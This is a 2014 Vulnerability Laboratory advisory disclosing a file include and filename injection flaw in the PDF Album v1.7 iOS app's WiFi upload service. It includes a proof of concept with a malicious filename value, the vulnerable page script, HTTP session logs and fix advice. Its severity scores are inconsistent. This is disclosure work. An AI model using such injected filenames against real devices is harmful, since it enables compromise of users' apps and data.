267 lines
No EOL
12 KiB
Text
267 lines
No EOL
12 KiB
Text
Document Title:
|
||
===============
|
||
PDF Album v1.7 iOS - File Include Web Vulnerability
|
||
|
||
|
||
References (Source):
|
||
====================
|
||
http://www.vulnerability-lab.com/get_content.php?id=1255
|
||
|
||
|
||
Release Date:
|
||
=============
|
||
2014-04-11
|
||
|
||
|
||
Vulnerability Laboratory ID (VL-ID):
|
||
====================================
|
||
1255
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
7.3
|
||
|
||
|
||
Product & Service Introduction:
|
||
===============================
|
||
Here is a creative way to record an idea, a page in a book or newspapers, what you learned, even a travel memory. You can get content from camera,
|
||
image or text editor, then pick them up into a pdf file and compose them as you wish. You can order the pages in project, then save the project
|
||
and open it again when you want to add or change it. You can get pdfs via WIFI or read them in this app.
|
||
|
||
(Copy of the Homepage: https://itunes.apple.com/ch/app/pdf-album/id590232990 )
|
||
|
||
|
||
Abstract Advisory Information:
|
||
==============================
|
||
The Vulnerability Laboratory Research Team discovered a local file include web vulnerability in the official PDF Album v1.7 iOS mobile application.
|
||
|
||
|
||
Vulnerability Disclosure Timeline:
|
||
==================================
|
||
2014-04-11: Public Disclosure (Vulnerability Laboratory)
|
||
|
||
|
||
Discovery Status:
|
||
=================
|
||
Published
|
||
|
||
|
||
Affected Product(s):
|
||
====================
|
||
Lintao Zhao
|
||
Product: PDF Album - iOS Mobile Application 1.7
|
||
|
||
|
||
Exploitation Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity Level:
|
||
===============
|
||
High
|
||
|
||
|
||
Technical Details & Description:
|
||
================================
|
||
A local file include web vulnerability has been discovered in the official PDF Album v1.7 iOS mobile web-application. The local file include
|
||
web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands to compromise
|
||
the mobile web-application.
|
||
|
||
The web vulnerability is located in the `filename` value of the `upload` module. Remote attackers are able to inject own files with malicious
|
||
`filename` values in the `upload` POST method request to compromise the mobile web-application. The local file/path include execution occcurs
|
||
in the `pdf album index item` list context. The attacker can inject the local file include request by usage of the `wifi interface` or by a local
|
||
privileged application user account via `folder sync`.
|
||
|
||
Attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute different
|
||
local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to inject is POST. The security
|
||
risk of the local file include web vulnerability is estimated as high(+) with a cvss (common vulnerability scoring system) count of 6.8(+)|(-)6.9.
|
||
|
||
Exploitation of the local file include web vulnerability requires no user interaction but a privileged web-application user account with low user auth.
|
||
Successful exploitation of the local file include web vulnerability results in mobile application or connected device component compromise.
|
||
|
||
Request Method(s):
|
||
[+] [POST] - Remote
|
||
[+] [SYNC] - Local
|
||
|
||
Vulnerable Module(s):
|
||
[+] Browse File > Upload
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] filename.*.pdf
|
||
|
||
Affected Module(s):
|
||
[+] PDF Album - Index Item Listing (http://localhost:8808/)
|
||
|
||
|
||
Proof of Concept (PoC):
|
||
=======================
|
||
The local file include web vulnerability can be exploited by local attackers with low privileged user account without required user interaction.
|
||
For security demonstration or to reproduce the local file include vulnerability follow the provided information and steps below to continue.
|
||
|
||
PoC: Exploit Code
|
||
|
||
<table cellpadding="0" cellspacing="0" border="0">
|
||
<thead>
|
||
<tr><th>Name</th><th class="del">Delete</th></tr></thead>
|
||
<tbody id="filelist">
|
||
<tr><td><a href="/files/%3E%22%3C./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME!]%3E.pdf" class="file">
|
||
>"<./[LOCAL FILE INCLUDE VULNERABILITY VIA PDF ALBUMNAME!">.pdf</a></td><td class='del'>
|
||
<form action='/files/%3E%22%3C./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME!]%3E.pdf' method='post'><input name='_method' value='delete' type='hidden'/>
|
||
<input name="commit" type="submit" value="Delete" class='button' /></td></tr></tbody></table></iframe></a></td></tr>
|
||
<tr class="shadow"><td><a href="/files/%3E%22%3C./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME!]%3E.pdf"
|
||
class="file">%3E%22%3C./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME!]%3E.pdf</a></td><td class="del">
|
||
<form action="/files/%3E%22%3C./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME!]%3E.pdf" method="post">
|
||
<input name="_method" value="delete" type="hidden"><input name="commit" value="Delete" class="button" type="submit"></form></td></tr></tbody></table>
|
||
|
||
|
||
PoC: Vulnerable Source
|
||
|
||
<script type="text/javascript" charset="utf-8">
|
||
var now = new Date();
|
||
$.getJSON("/files?"+ now.toString(),
|
||
function(data){
|
||
var shadow = false;
|
||
$.each(data, function(i,item){
|
||
var trclass='';
|
||
if (shadow)
|
||
trclass= " class='shadow'";
|
||
encodeName = encodeURI(item.name).replace("'", "'");
|
||
$("<tr" + trclass + "><td><a href='/files/" + encodeName + "' class='file'>" + item.name + "</a></td>" + "<td class='del'><form action='/files/" + encodeName + "' method='post'><input name='_method' value='delete' type='hidden'/><input name=\"commit\" type=\"submit\" value=\"Delete\" class='button' /></td>" + "</tr>").appendTo("#filelist");
|
||
shadow = !shadow;
|
||
});
|
||
});
|
||
</script>
|
||
|
||
|
||
PoC Link:
|
||
http://localhost:8808/files/%3E%22%3C[FILE INCLUDE VULNERABILITY!]%3E.pdf
|
||
|
||
|
||
--- PoC Session Logs [POST] ---
|
||
Injection via Wifi UI > Upload (iChm File Management)
|
||
14:44:34.743[170ms][total 170ms] Status: 302[Found]
|
||
POST http://192.168.2.104:8808/files Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr<47><72>e des Inhalts[67] Mime Type[text/html]
|
||
Request Header:
|
||
Host[192.168.2.104:8808]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||
Accept-Encoding[gzip, deflate]
|
||
Referer[http://192.168.2.104:8808/]
|
||
Connection[keep-alive]
|
||
POST-Daten:
|
||
POST_DATA[-----------------------------1145570518587
|
||
Content-Disposition: form-data; name="newfile"; filename="%3E%22%3C./[LOCAL FILE INCLUDE VULNERABILITY!].png"
|
||
Content-Type: image/png
|
||
|
||
Note: A local injection by usage of the app album name value is also possible via regular sync!
|
||
|
||
|
||
--- PoC Session Logs [GET] ---
|
||
Execution PDF Album (iChm File Management)
|
||
14:43:20.010[836ms][total 1106ms] Status: 200[OK]
|
||
GET http://192.168.2.104:8808/ Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr<47><72>e des Inhalts[2773] Mime Type[application/x-unknown-content-type]
|
||
Request Header:
|
||
Host[192.168.2.104:8808]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||
Accept-Encoding[gzip, deflate]
|
||
Connection[keep-alive]
|
||
Cache-Control[max-age=0]
|
||
Response Header:
|
||
Accept-Ranges[bytes]
|
||
Content-Length[2773]
|
||
Date[Do., 10 Apr. 2014 12:54:15 GMT]
|
||
|
||
|
||
14:43:20.874[48ms][total 48ms] Status: 200[OK]
|
||
GET http://192.168.2.104:8808/jquery.js Load Flags[VALIDATE_ALWAYS ] Gr<47><72>e des Inhalts[55774] Mime Type[application/x-unknown-content-type]
|
||
Request Header:
|
||
Host[192.168.2.104:8808]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]
|
||
Accept[*/*]
|
||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||
Accept-Encoding[gzip, deflate]
|
||
Referer[http://192.168.2.104:8808/]
|
||
Connection[keep-alive]
|
||
Cache-Control[max-age=0]
|
||
Response Header:
|
||
Accept-Ranges[bytes]
|
||
Content-Length[55774]
|
||
Date[Do., 10 Apr. 2014 12:54:15 GMT]
|
||
|
||
|
||
14:43:21.062[41ms][total 41ms] Status: 200[OK]
|
||
GET http://192.168.2.104:8808/%3E%22%3C./[LOCAL FILE INCLUDE VULNERABILITY!].*; Load Flags[LOAD_DOCUMENT_URI ] Gr<47><72>e des Inhalts[0] Mime Type[application/x-unknown-content-type]
|
||
Request Header:
|
||
Host[192.168.2.104:8808]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||
Accept-Encoding[gzip, deflate]
|
||
Referer[http://192.168.2.104:8808/]
|
||
Connection[keep-alive]
|
||
Response Header:
|
||
Accept-Ranges[bytes]
|
||
Content-Length[0]
|
||
Date[Do., 10 Apr. 2014 12:54:15 GMT]
|
||
|
||
|
||
|
||
Reference(s):
|
||
http://localhost:8808/files/
|
||
http://localhost:8808/
|
||
|
||
|
||
Solution - Fix & Patch:
|
||
=======================
|
||
The vulnerability can be patched by a secure parse and restriction of the vulnerable filename value in the upload POST method request.
|
||
Encode and filter also the output name value for item list to prevent application-side executions and malicious injected context via POST method.
|
||
|
||
|
||
Security Risk:
|
||
==============
|
||
The security risk of the local file include web vulnerability in the mobile application is estimated as high.
|
||
|
||
|
||
Credits & Authors:
|
||
==================
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
|
||
|
||
|
||
Disclaimer & Information:
|
||
=========================
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
||
or trade with fraud/stolen material.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
||
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
|
||
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
||
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright <20> 2014 | Vulnerability Laboratory [Evolution Security]
|
||
|
||
|
||
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY LABORATORY RESEARCH TEAM
|
||
DOMAIN: www.vulnerability-lab.com
|
||
CONTACT: research@vulnerability-lab.com |